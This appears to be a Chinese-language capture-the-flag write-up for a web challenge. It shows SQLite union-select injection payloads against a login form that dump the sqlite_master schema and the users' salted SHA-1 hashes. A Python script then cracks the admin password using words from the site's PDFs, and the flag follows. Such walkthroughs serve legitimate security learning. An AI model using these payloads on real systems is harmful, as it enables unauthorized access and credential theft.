进站后点击链接尝试会让下载pdf文件。(后面要用到pdf文件)
再依次对这两个页面进行测试:
admin.php无论如何输入都没有什么反馈
login.php在username中输入admin' union select database()时报错:
可以看到是sqlite数据库,表的结构和查询函数和MySQL有所不同。
在这里花了相当长的时间注入,database()在sqlite里面是没有的,未果,最后发现源码:
url改为login.php?debug,出现了php源码:
sql查询可以轻松闭合,但是这里并没有要给flag的意思,bp抓包再对username进行注入,看响应头有没有给出信息:
构造usr=' union select name,sql from sqlite_master--+&pw=
为什么要查询sql呢,这涉及到sqlite自带的结构表sqlite_master,sql是sqlite_master中的一个字段,注入时经常用到的,注入后响应头的set-cookie:
set-cookie也就是:
CREATE TABLE Users(
id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)
)
这就出现了表名和表中的字段了,仍然在usr处用limit进行移位并查询:
usr=%27 UNION SELECT id, id from Users limit 0,1--+&pw=chybeta
usr=%27 UNION SELECT id, name from Users limit 0,1--+&pw=chybeta
usr=%27 UNION SELECT id, password from Users limit 0,1--+&pw=chybeta
usr=%27 UNION SELECT id, hint from Users limit 0,1--+&pw=chybeta
得到数据:
admin 3fab54a50e770d830c0416df817567662a9dc85c +my+fav+word+in+my+fav+paper?!
fritze 54eae8935c90f467427f05e4ece82cf569f89507 +my+love+is�
hansi 34b0bb7c304949f9ff2fc101eef0f048be10d3bd +the+password+is+password
上面的源码中的查询语句的password就是对密码+salt进行了sha1,我们登陆的话应该需要利用sha1函数和salt找出密码,admin的hint是 +my+fav+word+in+my+fav+paper?!,那会不会密码藏在pdf文件中呢?
爬取站点中所有的pdf文件,总共30个,然后用脚本进行解析处理,并用sha1函数与加密的密码进行碰撞已找出正确的密码,拿大佬的脚本:
from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib
def get_pdf():
return [i for i in os.listdir("./") if i.endswith("pdf")]
def convert_pdf_2_text(path):
rsrcmgr = PDFResourceManager()
retstr = StringIO()
device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
interpreter = PDFPageInterpreter(rsrcmgr, device)
with open(path, 'rb') as fp:
for page in PDFPage.get_pages(fp, set()):
interpreter.process_page(page)
text = retstr.getvalue()
device.close()
retstr.close()
return text
def find_password():
pdf_path = get_pdf()
for i in pdf_path:
print "Searching word in " + i
pdf_text = convert_pdf_2_text(i).split(" ")
for word in pdf_text:
sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
print "Find the password :" + word
exit()
if __name__ == "__main__":
find_password()
跑出admin的密码为:ThinJerboa
在admin.php界面用admin登录得到flag:
flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}